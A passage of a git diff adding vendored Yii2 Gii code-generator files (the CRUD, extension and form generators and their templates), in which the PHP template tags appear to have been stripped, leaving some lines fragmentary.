CodeFile("$viewPath/$file", $this->render("views/$file")); + } + } + + return $files; + } + + /** + * @return string the controller ID (without the module ID prefix) + */ + public function getControllerID() + { + $pos = strrpos($this->controllerClass, '\\'); + $class = substr(substr($this->controllerClass, $pos + 1), 0, -10); + + return Inflector::camel2id($class); + } + + /** + * @return string the action view file path + */ + public function getViewPath() + { + $module = empty($this->moduleID) ? Yii::$app : Yii::$app->getModule($this->moduleID); + + return $module->getViewPath() . '/' . $this->getControllerID() ; + } + + public function getNameAttribute() + { + foreach ($this->getColumnNames() as $name) { + if (!strcasecmp($name, 'name') || !strcasecmp($name, 'title')) { + return $name; + } + } + /* @var $class \yii\db\ActiveRecord */ + $class = $this->modelClass; + $pk = $class::primaryKey(); + + return $pk[0]; + } + + /** + * Generates code for active field + * @param string $attribute + * @return string + */ + public function generateActiveField($attribute) + { + $tableSchema = $this->getTableSchema(); + if ($tableSchema === false || !isset($tableSchema->columns[$attribute])) { + if (preg_match('/^(password|pass|passwd|passcode)$/i', $attribute)) { + return "\$form->field(\$model, '$attribute')->passwordInput()"; + } else { + return "\$form->field(\$model, '$attribute')"; + } + } + $column = $tableSchema->columns[$attribute]; + if ($column->phpType === 'boolean') { + return "\$form->field(\$model, '$attribute')->checkbox()"; + } elseif ($column->type === 'text') { + return "\$form->field(\$model, '$attribute')->textarea(['rows' => 6])"; + } else { + if (preg_match('/^(password|pass|passwd|passcode)$/i', $column->name)) { + $input = 'passwordInput'; + } else { + $input = 'textInput'; + } + if (is_array($column->enumValues) && count($column->enumValues) > 0) { + $dropDownOptions = []; + foreach ($column->enumValues as $enumValue) { + $dropDownOptions[$enumValue] = Inflector::humanize($enumValue); + } + return "\$form->field(\$model, '$attribute')->dropDownList(" + . preg_replace("/\n\s*/", ' ', VarDumper::export($dropDownOptions)).", ['prompt' => ''])"; + } elseif ($column->phpType !== 'string' || $column->size === null) { + return "\$form->field(\$model, '$attribute')->$input()"; + } else { + return "\$form->field(\$model, '$attribute')->$input(['maxlength' => $column->size])"; + } + } + } + + /** + * Generates code for active search field + * @param string $attribute + * @return string + */ + public function generateActiveSearchField($attribute) + { + $tableSchema = $this->getTableSchema(); + if ($tableSchema === false) { + return "\$form->field(\$model, '$attribute')"; + } + $column = $tableSchema->columns[$attribute]; + if ($column->phpType === 'boolean') { + return "\$form->field(\$model, '$attribute')->checkbox()"; + } else { + return "\$form->field(\$model, '$attribute')"; + } + } + + /** + * Generates column format + * @param \yii\db\ColumnSchema $column + * @return string + */ + public function generateColumnFormat($column) + { + if ($column->phpType === 'boolean') { + return 'boolean'; + } elseif ($column->type === 'text') { + return 'ntext'; + } elseif (stripos($column->name, 'time') !== false && $column->phpType === 'integer') { + return 'datetime'; + } elseif (stripos($column->name, 'email') !== false) { + return 'email'; + } elseif (stripos($column->name, 'url') !== false) { + return 'url'; + } else { + return 'text'; + } + } + + /** + * Generates validation rules for the search model. + * @return array the generated validation rules + */ + public function generateSearchRules() + { + if (($table = $this->getTableSchema()) === false) { + return ["[['" . implode("', '", $this->getColumnNames()) . "'], 'safe']"]; + } + $types = []; + foreach ($table->columns as $column) { + switch ($column->type) { + case Schema::TYPE_SMALLINT: + case Schema::TYPE_INTEGER: + case Schema::TYPE_BIGINT: + $types['integer'][] = $column->name; + break; + case Schema::TYPE_BOOLEAN: + $types['boolean'][] = $column->name; + break; + case Schema::TYPE_FLOAT: + case Schema::TYPE_DECIMAL: + case Schema::TYPE_MONEY: + $types['number'][] = $column->name; + break; + case Schema::TYPE_DATE: + case Schema::TYPE_TIME: + case Schema::TYPE_DATETIME: + case Schema::TYPE_TIMESTAMP: + default: + $types['safe'][] = $column->name; + break; + } + } + + $rules = []; + foreach ($types as $type => $columns) { + $rules[] = "[['" . implode("', '", $columns) . "'], '$type']"; + } + + return $rules; + } + + /** + * @return array searchable attributes + */ + public function getSearchAttributes() + { + return $this->getColumnNames(); + } + + /** + * Generates the attribute labels for the search model. + * @return array the generated attribute labels (name => label) + */ + public function generateSearchLabels() + { + /* @var $model \yii\base\Model */ + $model = new $this->modelClass(); + $attributeLabels = $model->attributeLabels(); + $labels = []; + foreach ($this->getColumnNames() as $name) { + if (isset($attributeLabels[$name])) { + $labels[$name] = $attributeLabels[$name]; + } else { + if (!strcasecmp($name, 'id')) { + $labels[$name] = 'ID'; + } else { + $label = Inflector::camel2words($name); + if (!empty($label) && substr_compare($label, ' id', -3, 3, true) === 0) { + $label = substr($label, 0, -3) . ' ID'; + } + $labels[$name] = $label; + } + } + } + + return $labels; + } + + /** + * Generates search conditions + * @return array + */ + public function generateSearchConditions() + { + $columns = []; + if (($table = $this->getTableSchema()) === false) { + $class = $this->modelClass; + /* @var $model \yii\base\Model */ + $model = new $class(); + foreach ($model->attributes() as $attribute) { + $columns[$attribute] = 'unknown'; + } + } else { + foreach ($table->columns as $column) { + $columns[$column->name] = $column->type; + } + } + + $likeConditions = []; + $hashConditions = []; + foreach ($columns as $column => $type) { + switch ($type) { + case Schema::TYPE_SMALLINT: + case Schema::TYPE_INTEGER: + case Schema::TYPE_BIGINT: + case Schema::TYPE_BOOLEAN: + case Schema::TYPE_FLOAT: + case Schema::TYPE_DECIMAL: + case Schema::TYPE_MONEY: + case Schema::TYPE_DATE: + case Schema::TYPE_TIME: + case Schema::TYPE_DATETIME: + case Schema::TYPE_TIMESTAMP: + $hashConditions[] = "'{$column}' => \$this->{$column},"; + break; + default: + $likeConditions[] = "->andFilterWhere(['like', '{$column}', \$this->{$column}])"; + break; + } + } + + $conditions = []; + if (!empty($hashConditions)) { + $conditions[] = "\$query->andFilterWhere([\n" + . str_repeat(' ', 12) . implode("\n" . str_repeat(' ', 12), $hashConditions) + . "\n" . str_repeat(' ', 8) . "]);\n"; + } + if (!empty($likeConditions)) { + $conditions[] = "\$query" . implode("\n" . str_repeat(' ', 12), $likeConditions) . ";\n"; + } + + return $conditions; + } + + /** + * Generates URL parameters + * @return string + */ + public function generateUrlParams() + { + /* @var $class ActiveRecord */ + $class = $this->modelClass; + $pks = $class::primaryKey(); + if (count($pks) === 1) { + if (is_subclass_of($class, 'yii\mongodb\ActiveRecord')) { + return "'id' => (string)\$model->{$pks[0]}"; + } else { + return "'id' => \$model->{$pks[0]}"; + } + } else { + $params = []; + foreach ($pks as $pk) { + if (is_subclass_of($class, 'yii\mongodb\ActiveRecord')) { + $params[] = "'$pk' => (string)\$model->$pk"; + } else { + $params[] = "'$pk' => \$model->$pk"; + } + } + + return implode(', ', $params); + } + } + + /** + * Generates action parameters + * @return string + */ + public function generateActionParams() + { + /* @var $class ActiveRecord */ + $class = $this->modelClass; + $pks = $class::primaryKey(); + if (count($pks) === 1) { + return '$id'; + } else { + return '$' . implode(', $', $pks); + } + } + + /** + * Generates parameter tags for phpdoc + * @return array parameter tags for phpdoc + */ + public function generateActionParamComments() + { + /* @var $class ActiveRecord */ + $class = $this->modelClass; + $pks = $class::primaryKey(); + if (($table = $this->getTableSchema()) === false) { + $params = []; + foreach ($pks as $pk) { + $params[] = '@param ' . (substr(strtolower($pk), -2) == 'id' ? 'integer' : 'string') . ' $' . $pk; + } + + return $params; + } + if (count($pks) === 1) { + return ['@param ' . $table->columns[$pks[0]]->phpType . ' $id']; + } else { + $params = []; + foreach ($pks as $pk) { + $params[] = '@param ' . $table->columns[$pk]->phpType . ' $' . $pk; + } + + return $params; + } + } + + /** + * Returns table schema for current model class or false if it is not an active record + * @return boolean|\yii\db\TableSchema + */ + public function getTableSchema() + { + /* @var $class ActiveRecord */ + $class = $this->modelClass; + if (is_subclass_of($class, 'yii\db\ActiveRecord')) { + return $class::getTableSchema(); + } else { + return false; + } + } + + /** + * @return array model column names + */ + public function getColumnNames() + { + /* @var $class ActiveRecord */ + $class = $this->modelClass; + if (is_subclass_of($class, 'yii\db\ActiveRecord')) { + return $class::getTableSchema()->getColumnNames(); + } else { + /* @var $model \yii\base\Model */ + $model = new $class(); + + return $model->attributes(); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/controller.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/controller.php new file mode 100644 index 00000000..2c7f6f86 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/controller.php @@ -0,0 +1,173 @@ +controllerClass); +$modelClass = StringHelper::basename($generator->modelClass); +$searchModelClass = StringHelper::basename($generator->searchModelClass); +if ($modelClass === $searchModelClass) { + $searchModelAlias = $searchModelClass . 'Search'; +} + +/* @var $class ActiveRecordInterface */ +$class = $generator->modelClass; +$pks = $class::primaryKey(); +$urlParams = $generator->generateUrlParams(); +$actionParams = $generator->generateActionParams(); +$actionParamComments = $generator->generateActionParamComments(); + +echo " + +namespace controllerClass, '\\')) ?>; + +use Yii; +use modelClass, '\\') ?>; +searchModelClass)): ?> +use searchModelClass, '\\') . (isset($searchModelAlias) ? " as $searchModelAlias" : "") ?>; + +use yii\data\ActiveDataProvider; + +use baseControllerClass, '\\') ?>; +use yii\web\NotFoundHttpException; +use yii\filters\VerbFilter; + +/** + * implements the CRUD actions for model. + */ +class extends baseControllerClass) . "\n" ?> +{ + public function behaviors() + { + return [ + 'verbs' => [ + 'class' => VerbFilter::className(), + 'actions' => [ + 'delete' => ['post'], + ], + ], + ]; + } + + /** + * Lists all models. + * @return mixed + */ + public function actionIndex() + { +searchModelClass)): ?> + $searchModel = new (); + $dataProvider = $searchModel->search(Yii::$app->request->queryParams); + + return $this->render('index', [ + 'searchModel' => $searchModel, + 'dataProvider' => $dataProvider, + ]); + + $dataProvider = new ActiveDataProvider([ + 'query' => ::find(), + ]); + + return $this->render('index', [ + 'dataProvider' => $dataProvider, + ]); + + } + + /** + * Displays a single model. + * + * @return mixed + */ + public function actionView() + { + return $this->render('view', [ + 'model' => $this->findModel(), + ]); + } + + /** + * Creates a new model. + * If creation is successful, the browser will be redirected to the 'view' page. + * @return mixed + */ + public function actionCreate() + { + $model = new (); + + if ($model->load(Yii::$app->request->post()) && $model->save()) { + return $this->redirect(['view', ]); + } else { + return $this->render('create', [ + 'model' => $model, + ]); + } + } + + /** + * Updates an existing model. + * If update is successful, the browser will be redirected to the 'view' page. + * + * @return mixed + */ + public function actionUpdate() + { + $model = $this->findModel(); + + if ($model->load(Yii::$app->request->post()) && $model->save()) { + return $this->redirect(['view', ]); + } else { + return $this->render('update', [ + 'model' => $model, + ]); + } + } + + /** + * Deletes an existing model. + * If deletion is successful, the browser will be redirected to the 'index' page. + * + * @return mixed + */ + public function actionDelete() + { + $this->findModel()->delete(); + + return $this->redirect(['index']); + } + + /** + * Finds the model based on its primary key value. + * If the model is not found, a 404 HTTP exception will be thrown. + * + * @return the loaded model + * @throws NotFoundHttpException if the model cannot be found + */ + protected function findModel() + { + \$$pk"; + } + $condition = '[' . implode(', ', $condition) . ']'; +} +?> + if (($model = ::findOne()) !== null) { + return $model; + } else { + throw new NotFoundHttpException('The requested page does not exist.'); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/search.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/search.php new file mode 100644 index 00000000..77845880 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/search.php @@ -0,0 +1,80 @@ +modelClass); +$searchModelClass = StringHelper::basename($generator->searchModelClass); +if ($modelClass === $searchModelClass) { + $modelAlias = $modelClass . 'Model'; +} +$rules = $generator->generateSearchRules(); +$labels = $generator->generateSearchLabels(); +$searchAttributes = $generator->getSearchAttributes(); +$searchConditions = $generator->generateSearchConditions(); + +echo " + +namespace searchModelClass, '\\')) ?>; + +use Yii; +use yii\base\Model; +use yii\data\ActiveDataProvider; +use modelClass, '\\') . (isset($modelAlias) ? " as $modelAlias" : "") ?>; + +/** + * represents the model behind the search form about `modelClass ?>`. + */ +class extends + +{ + /** + * @inheritdoc + */ + public function rules() + { + return [ + , + ]; + } + + /** + * @inheritdoc + */ + public function scenarios() + { + // bypass scenarios() implementation in the parent class + return Model::scenarios(); + } + + /** + * Creates data provider instance with search query applied + * + * @param array $params + * + * @return ActiveDataProvider + */ + public function search($params) + { + $query = ::find(); + + $dataProvider = new ActiveDataProvider([ + 'query' => $query, + ]); + + if (!($this->load($params) && $this->validate())) { + return $dataProvider; + } + + + + return $dataProvider; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/_form.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/_form.php new file mode 100644 index 00000000..b6002667 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/_form.php @@ -0,0 +1,42 @@ +modelClass(); +$safeAttributes = $model->safeAttributes(); +if (empty($safeAttributes)) { + $safeAttributes = $model->attributes(); +} + +echo " + +use yii\helpers\Html; +use yii\widgets\ActiveForm; + +/* @var $this yii\web\View */ +/* @var $model modelClass, '\\') ?> */ +/* @var $form yii\widgets\ActiveForm */ +?> + +
            + + $form = ActiveForm::begin(); ?> + +getColumnNames() as $attribute) { + if (in_array($attribute, $safeAttributes)) { + echo " generateActiveField($attribute) . " ?>\n\n"; + } +} ?> +
            + Html::submitButton($model->isNewRecord ? generateString('Create') ?> : generateString('Update') ?>, ['class' => $model->isNewRecord ? 'btn btn-success' : 'btn btn-primary']) ?> +
            + + ActiveForm::end(); ?> + +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/_search.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/_search.php new file mode 100644 index 00000000..fc45d2e1 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/_search.php @@ -0,0 +1,44 @@ + + +use yii\helpers\Html; +use yii\widgets\ActiveForm; + +/* @var $this yii\web\View */ +/* @var $model searchModelClass, '\\') ?> */ +/* @var $form yii\widgets\ActiveForm */ +?> + + diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/create.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/create.php new file mode 100644 index 00000000..0cce5107 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/create.php @@ -0,0 +1,30 @@ + + +use yii\helpers\Html; + + +/* @var $this yii\web\View */ +/* @var $model modelClass, '\\') ?> */ + +$this->title = generateString('Create {modelClass}', ['modelClass' => Inflector::camel2words(StringHelper::basename($generator->modelClass))]) ?>; +$this->params['breadcrumbs'][] = ['label' => generateString(Inflector::pluralize(Inflector::camel2words(StringHelper::basename($generator->modelClass)))) ?>, 'url' => ['index']]; +$this->params['breadcrumbs'][] = $this->title; +?> +
            + +

            Html::encode($this->title) ?>

            + + $this->render('_form', [ + 'model' => $model, + ]) ?> + +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/index.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/index.php new file mode 100644 index 00000000..970d00b7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/index.php @@ -0,0 +1,77 @@ +generateUrlParams(); +$nameAttribute = $generator->getNameAttribute(); + +echo " + +use yii\helpers\Html; +use indexWidgetType === 'grid' ? "yii\\grid\\GridView" : "yii\\widgets\\ListView" ?>; + +/* @var $this yii\web\View */ +searchModelClass) ? "/* @var \$searchModel " . ltrim($generator->searchModelClass, '\\') . " */\n" : '' ?> +/* @var $dataProvider yii\data\ActiveDataProvider */ + +$this->title = generateString(Inflector::pluralize(Inflector::camel2words(StringHelper::basename($generator->modelClass)))) ?>; +$this->params['breadcrumbs'][] = $this->title; +?> +
            + +

            Html::encode($this->title) ?>

            +searchModelClass)): ?> +indexWidgetType === 'grid' ? "// " : "") ?>echo $this->render('_search', ['model' => $searchModel]); ?> + + +

            + Html::a(generateString('Create {modelClass}', ['modelClass' => Inflector::camel2words(StringHelper::basename($generator->modelClass))]) ?>, ['create'], ['class' => 'btn btn-success']) ?> +

            + +indexWidgetType === 'grid'): ?> + GridView::widget([ + 'dataProvider' => $dataProvider, + searchModelClass) ? "'filterModel' => \$searchModel,\n 'columns' => [\n" : "'columns' => [\n"; ?> + ['class' => 'yii\grid\SerialColumn'], + +getTableSchema()) === false) { + foreach ($generator->getColumnNames() as $name) { + if (++$count < 6) { + echo " '" . $name . "',\n"; + } else { + echo " // '" . $name . "',\n"; + } + } +} else { + foreach ($tableSchema->columns as $column) { + $format = $generator->generateColumnFormat($column); + if (++$count < 6) { + echo " '" . $column->name . ($format === 'text' ? "" : ":" . $format) . "',\n"; + } else { + echo " // '" . $column->name . ($format === 'text' ? "" : ":" . $format) . "',\n"; + } + } +} +?> + + ['class' => 'yii\grid\ActionColumn'], + ], + ]); ?> + + ListView::widget([ + 'dataProvider' => $dataProvider, + 'itemOptions' => ['class' => 'item'], + 'itemView' => function ($model, $key, $index, $widget) { + return Html::a(Html::encode($model->), ['view', ]); + }, + ]) ?> + + +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/update.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/update.php new file mode 100644 index 00000000..6c2d75bb --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/update.php @@ -0,0 +1,32 @@ +generateUrlParams(); + +echo " + +use yii\helpers\Html; + +/* @var $this yii\web\View */ +/* @var $model modelClass, '\\') ?> */ + +$this->title = generateString('Update {modelClass}: ', ['modelClass' => Inflector::camel2words(StringHelper::basename($generator->modelClass))]) ?> . ' ' . $model->getNameAttribute() ?>; +$this->params['breadcrumbs'][] = ['label' => generateString(Inflector::pluralize(Inflector::camel2words(StringHelper::basename($generator->modelClass)))) ?>, 'url' => ['index']]; +$this->params['breadcrumbs'][] = ['label' => $model->getNameAttribute() ?>, 'url' => ['view', ]]; +$this->params['breadcrumbs'][] = generateString('Update') ?>; +?> +
            + +

            Html::encode($this->title) ?>

            + + $this->render('_form', [ + 'model' => $model, + ]) ?> + +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/view.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/view.php new file mode 100644 index 00000000..00ee1d9d --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/default/views/view.php @@ -0,0 +1,57 @@ +generateUrlParams(); + +echo " + +use yii\helpers\Html; +use yii\widgets\DetailView; + +/* @var $this yii\web\View */ +/* @var $model modelClass, '\\') ?> */ + +$this->title = $model->getNameAttribute() ?>; +$this->params['breadcrumbs'][] = ['label' => generateString(Inflector::pluralize(Inflector::camel2words(StringHelper::basename($generator->modelClass)))) ?>, 'url' => ['index']]; +$this->params['breadcrumbs'][] = $this->title; +?> +
            + +

            Html::encode($this->title) ?>

            + +

            + Html::a(generateString('Update') ?>, ['update', ], ['class' => 'btn btn-primary']) ?> + Html::a(generateString('Delete') ?>, ['delete', ], [ + 'class' => 'btn btn-danger', + 'data' => [ + 'confirm' => generateString('Are you sure you want to delete this item?') ?>, + 'method' => 'post', + ], + ]) ?> +

            + + DetailView::widget([ + 'model' => $model, + 'attributes' => [ +getTableSchema()) === false) { + foreach ($generator->getColumnNames() as $name) { + echo " '" . $name . "',\n"; + } +} else { + foreach ($generator->getTableSchema()->columns as $column) { + $format = $generator->generateColumnFormat($column); + echo " '" . $column->name . ($format === 'text' ? "" : ":" . $format) . "',\n"; + } +} +?> + ], + ]) ?> + +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/form.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/form.php new file mode 100644 index 00000000..2f116704 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/crud/form.php @@ -0,0 +1,16 @@ +field($generator, 'modelClass'); +echo $form->field($generator, 'searchModelClass'); +echo $form->field($generator, 'controllerClass'); +echo $form->field($generator, 'baseControllerClass'); +echo $form->field($generator, 'moduleID'); +echo $form->field($generator, 'indexWidgetType')->dropDownList([ + 'grid' => 'GridView', + 'list' => 'ListView', +]); +echo $form->field($generator, 'enableI18N')->checkbox(); +echo $form->field($generator, 'messageCategory'); diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/Generator.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/Generator.php new file mode 100644 index 00000000..7c719a6f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/Generator.php @@ -0,0 +1,273 @@ + + * @since 2.0 + */ +class Generator extends \yii\gii\Generator +{ + public $vendorName; + public $packageName = "yii2-"; + public $namespace; + public $type = "yii2-extension"; + public $keywords = "yii2,extension"; + public $title; + public $description; + public $outputPath = "@app/runtime/tmp-extensions"; + public $license; + public $authorName; + public $authorEmail; + + + /** + * @inheritdoc + */ + public function getName() + { + return 'Extension Generator'; + } + + /** + * @inheritdoc + */ + public function getDescription() + { + return 'This generator helps you to generate the files needed by a Yii extension.'; + } + + /** + * @inheritdoc + */ + public function rules() + { + return array_merge( + parent::rules(), + [ + [['vendorName', 'packageName'], 'filter', 'filter' => 'trim'], + [ + [ + 'vendorName', + 'packageName', + 'namespace', + 'type', + 'license', + 'title', + 'description', + 'authorName', + 'authorEmail', + 'outputPath' + ], + 'required' + ], + [['keywords'], 'safe'], + [['authorEmail'], 'email'], + [ + ['vendorName', 'packageName'], + 'match', + 'pattern' => '/^[a-z0-9\-\.]+$/', + 'message' => 'Only lowercase word characters, dashes and dots are allowed.' + ], + [ + ['namespace'], + 'match', + 'pattern' => '/^[a-zA-Z0-9\\\]+\\\$/', + 'message' => 'Only letters, numbers and backslashes are allowed. PSR-4 namespaces must end with a namespace separator.' + ], + ] + ); + } + + /** + * @inheritdoc + */ + public function attributeLabels() + { + return [ + 'vendorName' => 'Vendor Name', + 'packageName' => 'Package Name', + 'license' => 'License', + ]; + } + + /** + * @inheritdoc + */ + public function hints() + { + return [ + 'vendorName' => 'This refers to the name of the publisher, your GitHub user name is usually a good choice, eg. myself.', + 'packageName' => 'This is the name of the extension on packagist, eg. yii2-foobar.', + 'namespace' => 'PSR-4, eg. myself\foobar\ This will be added to your autoloading by composer. Do not use yii, yii2 or yiisoft in the namespace.', + 'keywords' => 'Comma separated keywords for this extension.', + 'outputPath' => 'The temporary location of the generated files.', + 'title' => 'A more descriptive name of your application for the README file.', + 'description' => 'A sentence or subline describing the main purpose of the extension.', + ]; + } + + /** + * @inheritdoc + */ + public function stickyAttributes() + { + return ['vendorName', 'outputPath', 'authorName', 'authorEmail']; + } + + /** + * @inheritdoc + */ + public function successMessage() + { + $outputPath = realpath(\Yii::getAlias($this->outputPath)); + $output1 = <<The extension has been generated successfully.

            +

            To enable it in your application, you need to create a git repository +and require it via composer.

            +EOD; + $code1 = <<packageName} + +git init +git add -A +git commit +git remote add origin https://path.to/your/repo +git push -u origin master +EOD; + $output2 = <<The next step is just for initial development, skip it if you directly publish the extension on packagist.org

            +

            Add the newly created repo to your composer.json.

            +EOD; + $code2 = <<Note: You may use the url file://{$outputPath}/{$this->packageName} for testing.

            +

            Require the package with composer

            +EOD; + $code3 = <<vendorName}/{$this->packageName}:dev-master +EOD; + $output4 = <<And use it in your application.

            +EOD; + $code4 = <<namespace}AutoloadExample::widget(); +EOD; + $output5 = <<When you have finished development register your extension at packagist.org.

            +EOD; + + $return = $output1 . '
            ' . highlight_string($code1, true) . '
            '; + $return .= $output2 . '
            ' . highlight_string($code2, true) . '
            '; + $return .= $output3 . '
            ' . highlight_string($code3, true) . '
            '; + $return .= $output4 . '
            ' . highlight_string($code4, true) . '
            '; + $return .= $output5; + + return $return; + } + + /** + * @inheritdoc + */ + public function requiredTemplates() + { + return ['composer.json', 'AutoloadExample.php', 'README.md']; + } + + /** + * @inheritdoc + */ + public function generate() + { + $files = []; + $modulePath = $this->getOutputPath(); + $files[] = new CodeFile( + $modulePath . '/' . $this->packageName . '/composer.json', + $this->render("composer.json") + ); + $files[] = new CodeFile( + $modulePath . '/' . $this->packageName . '/AutoloadExample.php', + $this->render("AutoloadExample.php") + ); + $files[] = new CodeFile( + $modulePath . '/' . $this->packageName . '/README.md', + $this->render("README.md") + ); + + return $files; + } + + /** + * @return boolean the directory that contains the module class + */ + public function getOutputPath() + { + return Yii::getAlias($this->outputPath); + } + + /** + * @return string a json encoded array with the given keywords + */ + public function getKeywordsArrayJson() + { + return json_encode(explode(',', $this->keywords)); + } + + /** + * @return array options for type drop-down + */ + public function optsType() + { + $licenses = [ + 'yii2-extension', + 'library', + ]; + + return array_combine($licenses, $licenses); + } + + /** + * @return array options for license drop-down + */ + public function optsLicense() + { + $licenses = [ + 'Apache-2.0', + 'BSD-2-Clause', + 'BSD-3-Clause', + 'BSD-4-Clause', + 'GPL-2.0', + 'GPL-2.0+', + 'GPL-3.0', + 'GPL-3.0+', + 'LGPL-2.1', + 'LGPL-2.1+', + 'LGPL-3.0', + 'LGPL-3.0+', + 'MIT' + ]; + + return array_combine($licenses, $licenses); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/default/AutoloadExample.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/default/AutoloadExample.php new file mode 100644 index 00000000..694f0ab2 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/default/AutoloadExample.php @@ -0,0 +1,14 @@ + + +namespace namespace, 0, -1) ?>; + +/** + * This is just an example. + */ +class AutoloadExample extends \yii\base\Widget +{ + public function run() + { + return "Hello!"; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/default/README.md b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/default/README.md new file mode 100644 index 00000000..08101f32 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/default/README.md @@ -0,0 +1,35 @@ +title ?> + +title, \Yii::$app->charset)) ?> + +description ?> + + +Installation +------------ + +The preferred way to install this extension is through [composer](http://getcomposer.org/download/). + +Either run + +``` +php composer.phar require --prefer-dist vendorName ?>/packageName ?> "*" +``` + +or add + +``` +"vendorName ?>/packageName ?>": "*" +``` + +to the require section of your `composer.json` file. + + +Usage +----- + +Once the extension is installed, simply use it in your code by : + +```php +namespace}AutoloadExample::widget(); ?>" ?> +``` \ No newline at end of file diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/default/composer.json b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/default/composer.json new file mode 100644 index 00000000..aa7c12d8 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/default/composer.json @@ -0,0 +1,21 @@ +{ + "name": "vendorName ?>/packageName ?>", + "description": "description ?>", + "type": "type ?>", + "keywords": keywordsArrayJson ?>, + "license": "license ?>", + "authors": [ + { + "name": "authorName ?>", + "email": "authorEmail ?>" + } + ], + "require": { + "yiisoft/yii2": "*" + }, + "autoload": { + "psr-4": { + "namespace) ?>": "" + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/form.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/form.php new file mode 100644 index 00000000..8b284003 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/extension/form.php @@ -0,0 +1,25 @@ + +
            + Please read the + 'new']) ?> + before creating an extension. +
            +
            +field($generator, 'vendorName'); + echo $form->field($generator, 'packageName'); + echo $form->field($generator, 'namespace'); + echo $form->field($generator, 'type')->dropDownList($generator->optsType()); + echo $form->field($generator, 'keywords'); + echo $form->field($generator, 'license')->dropDownList($generator->optsLicense(), ['prompt'=>'Choose...']); + echo $form->field($generator, 'title'); + echo $form->field($generator, 'description'); + echo $form->field($generator, 'authorName'); + echo $form->field($generator, 'authorEmail'); + echo $form->field($generator, 'outputPath'); +?> +
            diff --git a/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/form/Generator.php b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/form/Generator.php new file mode 100644 index 00000000..f1304f91 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2-gii/generators/form/Generator.php @@ -0,0 +1,159 @@ + + * @since 2.0 + */ +class Generator extends \yii\gii\Generator +{ + public $modelClass; + public $viewPath = '@app/views'; + public $viewName; + public $scenarioName; + + + /** + * @inheritdoc + */ + public function getName() + { + return 'Form Generator'; + } + + /** + * @inheritdoc + */ + public function getDescription() + { + return 'This generator generates a view script file that displays a form to collect input for the specified model class.'; + } + + /** + * @inheritdoc + */ + public function generate() + { + $files = []; + $files[] = new CodeFile( + Yii::getAlias($this->viewPath) . '/' . $this->viewName . '.php', + $this->render('form.php') + ); + + return $files; + } + + /** + * @inheritdoc + */ + public function rules() + { + return array_merge(parent::rules(), [ + [['modelClass', 'viewName', 'scenarioName', 'viewPath'], 'filter', 'filter' => 'trim'], + [['modelClass', 'viewName', 'viewPath'], 'required'], + [['modelClass'], 'match', 'pattern' => '/^[\w\\\\]*$/', 'message' => 'Only word characters and backslashes are allowed.'], + [['modelClass'], 'validateClass', 'params' => ['extends' => Model::className()]], + [['viewName'], 'match', 'pattern' => '/^\w+[\\-\\/\w]*$/', 'message' => 'Only word characters, dashes and slashes are allowed.'], + [['viewPath'], 'match', 'pattern' => '/^@?\w+[\\-\\/\w]*$/', 'message' => 'Only word characters, dashes, slashes and @ are allowed.'], + [['viewPath'], 'validateViewPath'], + [['scenarioName'], 'match', 'pattern' => '/^[\w\\-]+$/', 'message' => 'Only word characters and dashes are allowed.'], + [['enableI18N'], 'boolean'], + [['messageCategory'], 'validateMessageCategory', 'skipOnEmpty' 